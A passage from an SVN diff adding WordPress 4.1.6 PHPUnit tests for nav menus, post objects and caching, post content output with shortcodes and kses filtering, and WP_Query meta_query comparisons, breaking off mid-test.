+		$menu_items = wp_get_nav_menu_items( $this->menu_id );
+		$custom_item = wp_filter_object_list( $menu_items, array( 'db_id' => $custom_item_id ) );
+		$custom_item = array_pop( $custom_item );
+		$this->assertEquals( 'WordPress.org', $custom_item->title );
+
+	}
+
+	/**
+	 * @ticket 29460
+	 */
+	function test_orderby_name_by_default() {
+		// We are going to create a random number of menus (min 2, max 10) 
+		$menus_no = rand( 2, 10 );
+
+		for ( $i = 0; $i <= $menus_no; $i++ ) {
+			wp_create_nav_menu( rand_str() );
+		}
+
+		// This is the expected array of menu names
+		$expected_nav_menus_names = wp_list_pluck( 
+			get_terms( 'nav_menu',  array( 'hide_empty' => false, 'orderby' => 'name' ) ),
+			'name'
+		);
+
+		// And this is what we got when calling wp_get_nav_menus()
+		$nav_menus_names = wp_list_pluck( wp_get_nav_menus(), 'name' );
+		
+		$this->assertEquals( $nav_menus_names, $expected_nav_menus_names );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/objects.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/objects.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/objects.php	(revision 33402)
@@ -0,0 +1,221 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_Objects extends WP_UnitTestCase {
+
+	function test_get_post() {
+		$id = $this->factory->post->create();
+
+		$post = get_post( $id );
+		$this->assertInstanceOf( 'WP_Post', $post );
+		$this->assertEquals( $id, $post->ID );
+		$this->assertTrue( isset( $post->ancestors ) );
+		$this->assertEquals( array(), $post->ancestors );
+
+		// Unset and then verify that the magic method fills the property again
+		unset( $post->ancestors );
+		$this->assertEquals( array(), $post->ancestors );
+
+		// Magic get should make meta accessible as properties
+		add_post_meta( $id, 'test', 'test' );
+		$this->assertEquals( 'test', get_post_meta( $id, 'test', true ) );
+		$this->assertEquals( 'test', $post->test );
+
+		// Make sure meta does not eclipse true properties
+		add_post_meta( $id, 'post_type', 'dummy' );
+		$this->assertEquals( 'dummy', get_post_meta( $id, 'post_type', true ) );
+		$this->assertEquals( 'post', $post->post_type );
+
+		// Excercise the output argument
+		$post = get_post( $id, ARRAY_A );
+		$this->assertInternalType( 'array', $post );
+		$this->assertEquals( 'post', $post[ 'post_type' ] );
+
+		$post = get_post( $id, ARRAY_N );
+		$this->assertInternalType( 'array', $post );
+		$this->assertFalse( isset( $post[ 'post_type' ] ) );
+		$this->assertTrue( in_array( 'post', $post ) );
+
+		$post = get_post( $id );
+		$post = get_post( $post, ARRAY_A );
+		$this->assertInternalType( 'array', $post );
+		$this->assertEquals( 'post', $post[ 'post_type' ] );
+		$this->assertEquals( $id, $post[ 'ID' ] );
+
+		// Should default to OBJECT when given invalid output argument
+		$post = get_post( $id, 'invalid-output-value' );
+		$this->assertInstanceOf( 'WP_Post', $post );
+		$this->assertEquals( $id, $post->ID );
+
+		// Make sure stdClass in $GLOBALS['post'] is handled
+		$post_std = $post->to_array();
+		$this->assertInternalType( 'array', $post_std );
+		$post_std = (object) $post_std;
+		$GLOBALS['post'] = $post_std;
+		$post = get_post( null );
+		$this->assertInstanceOf( 'WP_Post', $post );
+		$this->assertEquals( $id, $post->ID );
+		unset( $GLOBALS['post'] );
+
+		// If no global post and passing empty value, expect null.
+		$this->assertNull( get_post( null ) );
+		$this->assertNull( get_post( 0 ) );
+		$this->assertNull( get_post( '' ) );
+		$this->assertNull( get_post( false ) );
+	}
+
+	function test_get_post_ancestors() {
+		$parent_id = $this->factory->post->create();
+		$child_id = $this->factory->post->create();
+		$grandchild_id = $this->factory->post->create();
+		$updated = wp_update_post( array( 'ID' => $child_id, 'post_parent' => $parent_id ) );
+		$this->assertEquals( $updated, $child_id );
+		$updated = wp_update_post( array( 'ID' => $grandchild_id, 'post_parent' => $child_id ) );
+		$this->assertEquals( $updated, $grandchild_id );
+
+		$this->assertEquals( array( $parent_id ), get_post( $child_id )->ancestors );
+		$this->assertEquals( array( $parent_id ), get_post_ancestors( $child_id ) );
+		$this->assertEquals( array( $parent_id ), get_post_ancestors( get_post( $child_id ) ) );
+
+		$this->assertEquals( array( $child_id, $parent_id ), get_post( $grandchild_id )->ancestors );
+		$this->assertEquals( array( $child_id, $parent_id ), get_post_ancestors( $grandchild_id ) );
+		$this->assertEquals( array( $child_id, $parent_id ), get_post_ancestors( get_post( $grandchild_id ) ) );
+
+		$this->assertEquals( array(), get_post( $parent_id )->ancestors );
+		$this->assertEquals( array(), get_post_ancestors( $parent_id ) );
+		$this->assertEquals( array(), get_post_ancestors( get_post( $parent_id ) ) );
+	}
+
+	/**
+	 * @ticket 22882
+	 */
+	function test_get_post_ancestors_with_falsey_values() {
+		foreach ( array( null, 0, false, '0', '' ) as $post_id ) {
+			$this->assertInternalType( 'array', get_post_ancestors( $post_id ) );
+			$this->assertEquals( array(), get_post_ancestors( $post_id ) );
+		}
+	}
+
+	function test_get_post_category_property() {
+		$post_id = $this->factory->post->create();
+		$post = get_post( $post_id );
+
+		$this->assertInternalType( 'array', $post->post_category );
+		$this->assertEquals( 1, count( $post->post_category ) );
+		$this->assertEquals( get_option( 'default_category' ), $post->post_category[0] );
+		$term1 = wp_insert_term( 'Foo', 'category' );
+		$term2 = wp_insert_term( 'Bar', 'category' );
+		$term3 = wp_insert_term( 'Baz', 'category' );
+		wp_set_post_categories( $post_id, array( $term1['term_id'], $term2['term_id'], $term3['term_id'] ) );
+		$this->assertEquals( 3, count( $post->post_category ) );
+		$this->assertEquals( array( $term2['term_id'], $term3['term_id'], $term1['term_id'] ) , $post->post_category );
+
+		$post = get_post( $post_id, ARRAY_A );
+		$this->assertEquals( 3, count( $post['post_category'] ) );
+		$this->assertEquals( array( $term2['term_id'], $term3['term_id'], $term1['term_id'] ) , $post['post_category'] );
+	}
+
+	function test_get_tags_input_property() {
+		$post_id = $this->factory->post->create();
+		$post = get_post( $post_id );
+
+		$this->assertInternalType( 'array', $post->tags_input );
+		$this->assertEmpty( $post->tags_input );
+		wp_set_post_tags( $post_id, 'Foo, Bar, Baz' );
+		$this->assertInternalType( 'array', $post->tags_input );
+		$this->assertEquals( 3, count( $post->tags_input ) );
+		$this->assertEquals( array( 'Bar', 'Baz', 'Foo' ), $post->tags_input );
+
+		$post = get_post( $post_id, ARRAY_A );
+		$this->assertInternalType( 'array', $post['tags_input'] );
+		$this->assertEquals( 3, count( $post['tags_input'] ) );
+		$this->assertEquals( array( 'Bar', 'Baz', 'Foo' ), $post['tags_input'] );
+	}
+
+	function test_get_page_template_property() {
+		$post_id = $this->factory->post->create();
+		$post = get_post( $post_id );
+
+		$this->assertInternalType( 'string', $post->page_template );
+		$this->assertEmpty( $post->tags_input );
+		$template = get_post_meta( $post->ID, '_wp_page_template', true );
+		$this->assertEquals( $template, $post->page_template );
+		update_post_meta( $post_id, '_wp_page_template', 'foo.php' );
+		$template = get_post_meta( $post->ID, '_wp_page_template', true );
+		$this->assertEquals( 'foo.php', $template );
+		// The post is not a page so the template is still empty
+		$this->assertEquals( '', $post->page_template );
+
+		// Now the post is a page and should retrieve the template
+		wp_update_post( array( 'ID' => $post->ID, 'post_type' => 'page' ) );
+		$post = get_post( $post_id );
+		$this->assertEquals( $template, $post->page_template );
+	}
+
+	function test_get_post_filter() {
+		$post = get_post( $this->factory->post->create( array(
+			'post_title' => "Mary's home"
+		) ) );
+
+		$this->assertEquals( 'raw', $post->filter );
+		$this->assertInternalType( 'int', $post->post_parent );
+
+		$display_post = get_post( $post, OBJECT, 'js' );
+		$this->assertEquals( 'js', $display_post->filter );
+		$this->assertEquals( esc_js( "Mary's home" ), $display_post->post_title );
+
+		// Pass a js filtered WP_Post to get_post() with the filter set to raw.
+		// The post should be fetched from cache instead of using the passed object.
+		$raw_post = get_post( $display_post, OBJECT, 'raw' );
+		$this->assertEquals( 'raw', $raw_post->filter );
+		$this->assertNotEquals( esc_js( "Mary's home" ), $raw_post->post_title );
+
+		$raw_post->filter( 'js' );
+		$this->assertEquals( 'js', $post->filter );
+		$this->assertEquals( esc_js( "Mary's home" ), $raw_post->post_title );
+	}
+
+	function test_get_post_identity() {
+		$post = get_post( $this->factory->post->create() );
+
+		$post->foo = 'bar';
+
+		$this->assertEquals( 'bar', get_post( $post )->foo );
+		$this->assertEquals( 'bar', get_post( $post, OBJECT, 'display' )->foo );
+	}
+
+	function test_get_post_array() {
+		$id = $this->factory->post->create();
+
+		$post = get_post( $id, ARRAY_A );
+
+		$this->assertEquals( $id, $post['ID'] );
+		$this->assertInternalType( 'array', $post['ancestors'] );
+		$this->assertEquals( 'raw', $post['filter'] );
+	}
+
+	/**
+	 * @ticket 22223
+	 */
+	function test_get_post_cache() {
+		global $wpdb;
+
+		$id = $this->factory->post->create();
+		wp_cache_delete( $id, 'posts' );
+
+		// get_post( stdClass ) should not prime the cache
+		$post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $id ) );
+		$post = get_post( $post );
+		$this->assertEmpty( wp_cache_get( $id, 'posts' ) );
+
+		// get_post( WP_Post ) should not prime the cache
+		get_post( $post );
+		$this->assertEmpty( wp_cache_get( $id, 'posts' ) );
+
+		// get_post( ID ) should prime the cache
+		get_post( $post->ID );
+		$this->assertNotEmpty( wp_cache_get( $id, 'posts' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/output.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/output.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/output.php	(revision 33402)
@@ -0,0 +1,174 @@
+<?php
+
+// test the output of post template tags etc
+
+/**
+ * @group post
+ * @group formatting
+ */
+class Tests_Post_Output extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		add_shortcode( 'dumptag', array( $this, '_shortcode_dumptag' ) );
+		add_shortcode( 'paragraph', array( $this, '_shortcode_paragraph' ) );
+	}
+
+	function tearDown() {
+		global $shortcode_tags;
+		unset( $shortcode_tags['dumptag'], $shortcode_tags['paragraph'] );
+		parent::tearDown();
+	}
+
+	function _shortcode_dumptag( $atts ) {
+		$out = '';
+		foreach ($atts as $k=>$v)
+			$out .= "$k = $v\n";
+		return $out;
+	}
+
+	function _shortcode_paragraph( $atts, $content ) {
+		extract(shortcode_atts(array(
+			'class' => 'graf',
+		), $atts));
+		return "<p class='$class'>$content</p>\n";
+	}
+
+	function test_the_content() {
+		$post_content = <<<EOF
+<i>This is the excerpt.</i>
+<!--more-->
+This is the <b>body</b>.
+EOF;
+
+		$post_id = $this->factory->post->create( compact( 'post_content' ) );
+
+		$expected = <<<EOF
+<p><i>This is the excerpt.</i><br />
+<span id="more-{$post_id}"></span><br />
+This is the <b>body</b>.</p>
+EOF;
+
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( have_posts() );
+		$this->assertNull( the_post() );
+
+		$this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+	}
+
+	function test_the_content_shortcode() {
+		$post_content = <<<EOF
+[dumptag foo="bar" baz="123"]
+
+[dumptag foo=123 baz=bar]
+
+[dumptag http://example.com]
+
+EOF;
+
+		$expected =<<<EOF
+foo = bar
+baz = 123
+foo = 123
+baz = bar
+0 = http://example.com
+
+EOF;
+
+		$post_id = $this->factory->post->create( compact( 'post_content' ) );
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( have_posts() );
+		$this->assertNull( the_post() );
+
+		$this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+	}
+
+	function test_the_content_shortcode_paragraph() {
+		$post_content = <<<EOF
+Graf by itself:
+
+[paragraph]my graf[/paragraph]
+
+  [paragraph foo="bar"]another graf with whitespace[/paragraph]
+
+An [paragraph]inline graf[/paragraph], this doesn't make much sense.
+
+A graf with a single EOL first:
+[paragraph]blah[/paragraph]
+
+EOF;
+
+		$expected = <<<EOF
+<p>Graf by itself:</p>
+<p class='graf'>my graf</p>
+
+  <p class='graf'>another graf with whitespace</p>
+
+<p>An <p class='graf'>inline graf</p>
+, this doesn&#8217;t make much sense.</p>
+<p>A graf with a single EOL first:<br />
+<p class='graf'>blah</p>
+</p>
+
+EOF;
+
+		$post_id = $this->factory->post->create( compact( 'post_content' ) );
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( have_posts() );
+		$this->assertNull( the_post() );
+
+		$this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+	}
+
+	function test_the_content_attribute_filtering() {
+		kses_init_filters();
+
+		// http://bpr3.org/?p=87
+		// the title attribute should make it through unfiltered
+		$post_content = <<<EOF
+<span class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.aulast=Mariat&rft.aufirst=Denis&rft. au=Denis+Mariat&rft.au=Sead+Taourit&rft.au=G%C3%A9rard+Gu%C3%A9rin& rft.title=Genetics+Selection+Evolution&rft.atitle=&rft.date=2003&rft. volume=35&rft.issue=1&rft.spage=119&rft.epage=133&rft.genre=article& rft.id=info:DOI/10.1051%2Fgse%3A2002039"></span>Mariat, D., Taourit, S., GuÃ©rin, G. (2003). . <span style="font-style: italic;">Genetics Selection Evolution, 35</span>(1), 119-133. DOI: <a rev="review" href= "http://dx.doi.org/10.1051/gse:2002039">10.1051/gse:2002039</a>
+EOF;
+
+		$expected = <<<EOF
+<p><span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.aulast=Mariat&amp;rft.aufirst=Denis&amp;rft. au=Denis+Mariat&amp;rft.au=Sead+Taourit&amp;rft.au=G%C3%A9rard+Gu%C3%A9rin&amp; rft.title=Genetics+Selection+Evolution&amp;rft.atitle=&amp;rft.date=2003&amp;rft. volume=35&amp;rft.issue=1&amp;rft.spage=119&amp;rft.epage=133&amp;rft.genre=article&amp; rft.id=info:DOI/10.1051%2Fgse%3A2002039"></span>Mariat, D., Taourit, S., GuÃ©rin, G. (2003). . <span style="font-style: italic">Genetics Selection Evolution, 35</span>(1), 119-133. DOI: <a rev="review" href="http://dx.doi.org/10.1051/gse:2002039">10.1051/gse:2002039</a></p>
+EOF;
+
+		$post_id = $this->factory->post->create( compact( 'post_content' ) );
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( have_posts() );
+		$this->assertNull( the_post() );
+
+		$this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+
+		kses_remove_filters();
+	}
+
+	function test_the_content_attribute_value_with_colon() {
+		kses_init_filters();
+
+		// http://bpr3.org/?p=87
+		// the title attribute should make it through unfiltered
+		$post_content = <<<EOF
+<span title="My friends: Alice, Bob and Carol">foo</span>
+EOF;
+
+		$expected = <<<EOF
+<p><span title="My friends: Alice, Bob and Carol">foo</span></p>
+EOF;
+
+		$post_id = $this->factory->post->create( compact( 'post_content' ) );
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( have_posts() );
+		$this->assertNull( the_post() );
+
+		$this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+
+		kses_remove_filters();
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/query.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/query.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/query.php	(revision 33402)
@@ -0,0 +1,3283 @@
+<?php
+
+class Tests_Post_Query extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_no_key() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+		add_post_meta( $p2, 'oof', 'bar' );
+		add_post_meta( $p3, 'oof', 'baz' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'value' => 'bar',
+				),
+			),
+		) );
+
+		$expected = array( $p1, $p2 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_no_value() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+		add_post_meta( $p2, 'oof', 'bar' );
+		add_post_meta( $p3, 'oof', 'baz' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'oof',
+				),
+			),
+		) );
+
+		$expected = array( $p2, $p3 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_default() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+			),
+		) );
+
+		$expected = array( $p1 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_equals() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+					'compare' => '=',
+				),
+			),
+		) );
+
+		$expected = array( $p1 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_not_equals() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+		add_post_meta( $p2, 'foo', 'baz' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+					'compare' => '!=',
+				),
+			),
+		) );
+
+		$expected = array( $p2 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_arithmetic_comparisons() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', '1' );
+		add_post_meta( $p2, 'foo', '2' );
+		add_post_meta( $p3, 'foo', '3' );
+
+		// <
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 2,
+					'compare' => '<',
+				),
+			),
+		) );
+
+		$expected = array( $p1 );
+		$this->assertEqualSets( $expected, $query->posts );
+
+		// <=
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 2,
+					'compare' => '<=',
+				),
+			),
+		) );
+
+		$expected = array( $p1, $p2 );
+		$this->assertEqualSets( $expected, $query->posts );
+
+		// >=
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 2,
+					'compare' => '>=',
+				),
+			),
+		) );
+
+		$expected = array( $p2, $p3 );
+		$this->assertEqualSets( $expected, $query->posts );
+
+		// >
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 2,
+					'compare' => '>',
+				),
+			),
+		) );
+
+		$expected = array( $p3 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_like() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'ba',
+					'compare' => 'LIKE',
+				),
+			),
+		) );
+
+		$expected = array( $p1 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_not_like() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+		add_post_meta( $p2, 'foo', 'rab' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'ba',
+					'compare' => 'NOT LIKE',
+				),
+			),
+		) );
+
+		$expected = array( $p2 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_between_not_between() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', '1' );
+		add_post_meta( $p2, 'foo', '10' );
+		add_post_meta( $p3, 'foo', '100' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => array( 9, 12 ),
+					'compare' => 'BETWEEN',
+					'type' => 'NUMERIC',
+				),
+			),
+		) );
+
+		$expected = array( $p2 );
+		$this->assertEqualSets( $expected, $query->posts );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => array( 9, 12 ),
+					'compare' => 'NOT BETWEEN',
+					'type' => 'NUMERIC',
+				),
+			),
+		) );
+
+		$expected = array( $p1, $p3 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_regexp_rlike() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+		add_post_meta( $p2, 'foo', 'baz' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'z$',
+					'compare' => 'REGEXP',
+				),
+			),
+		) );
+
+		$expected = array( $p2 );
+		$this->assertEqualSets( $expected, $query->posts );
+
+		// RLIKE is a synonym for REGEXP.
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'z$',
+					'compare' => 'RLIKE',
+				),
+			),
+		) );
+
+		$expected = array( $p2 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_single_query_compare_not_regexp() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+		add_post_meta( $p2, 'foo', 'baz' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'z$',
+					'compare' => 'NOT REGEXP',
+				),
+			),
+		) );
+
+		$expected = array( $p1 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_relation_default() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'foo value 1' );
+		add_post_meta( $p1, 'bar', 'bar value 1' );
+		add_post_meta( $p2, 'foo', 'foo value 1' );
+		add_post_meta( $p2, 'bar', 'bar value 2' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'foo value 1',
+				),
+				array(
+					'key' => 'bar',
+					'value' => 'bar value 1',
+				),
+			),
+		) );
+
+		$expected = array( $p1 );
+		$this->assertEquals( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_relation_or() {
+		$post_id = $this->factory->post->create();
+		add_post_meta( $post_id, 'foo', rand_str() );
+		add_post_meta( $post_id, 'foo', rand_str() );
+		$post_id2 = $this->factory->post->create();
+		add_post_meta( $post_id2, 'bar', 'val2' );
+		$post_id3 = $this->factory->post->create();
+		add_post_meta( $post_id3, 'baz', rand_str() );
+		$post_id4 = $this->factory->post->create();
+		add_post_meta( $post_id4, 'froo', rand_str() );
+		$post_id5 = $this->factory->post->create();
+		add_post_meta( $post_id5, 'tango', 'val2' );
+		$post_id6 = $this->factory->post->create();
+		add_post_meta( $post_id6, 'bar', 'val1' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'foo'
+				),
+				array(
+					'key' => 'bar',
+					'value' => 'val2'
+				),
+				array(
+					'key' => 'baz'
+				),
+				array(
+					'key' => 'froo'
+				),
+				'relation' => 'OR',
+			),
+		) );
+
+		$expected = array( $post_id, $post_id2, $post_id3, $post_id4 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	public function test_meta_query_relation_and() {
+		$post_id = $this->factory->post->create();
+		add_post_meta( $post_id, 'foo', rand_str() );
+		add_post_meta( $post_id, 'foo', rand_str() );
+		$post_id2 = $this->factory->post->create();
+		add_post_meta( $post_id2, 'bar', 'val2' );
+		add_post_meta( $post_id2, 'foo', rand_str() );
+		$post_id3 = $this->factory->post->create();
+		add_post_meta( $post_id3, 'baz', rand_str() );
+		$post_id4 = $this->factory->post->create();
+		add_post_meta( $post_id4, 'froo', rand_str() );
+		$post_id5 = $this->factory->post->create();
+		add_post_meta( $post_id5, 'tango', 'val2' );
+		$post_id6 = $this->factory->post->create();
+		add_post_meta( $post_id6, 'bar', 'val1' );
+		add_post_meta( $post_id6, 'foo', rand_str() );
+		$post_id7 = $this->factory->post->create();
+		add_post_meta( $post_id7, 'foo', rand_str() );
+		add_post_meta( $post_id7, 'froo', rand_str() );
+		add_post_meta( $post_id7, 'baz', rand_str() );
+		add_post_meta( $post_id7, 'bar', 'val2' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'foo'
+				),
+				array(
+					'key' => 'bar',
+					'value' => 'val2'
+				),
+				array(
+					'key' => 'baz'
+				),
+				array(
+					'key' => 'froo'
+				),
+				'relation' => 'AND',
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $post_id7 );
+		$this->assertEqualSets( $expected, $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'foo'
+				),
+				array(
+					'key' => 'bar',
+				),
+				'relation' => 'AND',
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $post_id2, $post_id6, $post_id7 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 30681
+	 */
+	public function test_meta_query_compare_exists() {
+		$posts = $this->factory->post->create_many( 3 );
+		add_post_meta( $posts[0], 'foo', 'bar' );
+		add_post_meta( $posts[2], 'foo', 'baz' );
+
+		$query = new WP_Query( array(
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'compare' => 'EXISTS',
+					'key' => 'foo',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $posts[0], $posts[2] ), $query->posts );
+	}
+
+	/**
+	 * @ticket 30681
+	 */
+	public function test_meta_query_compare_exists_with_value_should_convert_to_equals() {
+		$posts = $this->factory->post->create_many( 3 );
+		add_post_meta( $posts[0], 'foo', 'bar' );
+		add_post_meta( $posts[2], 'foo', 'baz' );
+
+		$query = new WP_Query( array(
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'compare' => 'EXISTS',
+					'value' => 'baz',
+					'key' => 'foo',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $posts[2] ), $query->posts );
+	}
+
+	/**
+	 * @ticket 30681
+	 */
+	public function test_meta_query_compare_not_exists_should_ignore_value() {
+		$posts = $this->factory->post->create_many( 3 );
+		add_post_meta( $posts[0], 'foo', 'bar' );
+		add_post_meta( $posts[2], 'foo', 'baz' );
+
+		$query = new WP_Query( array(
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
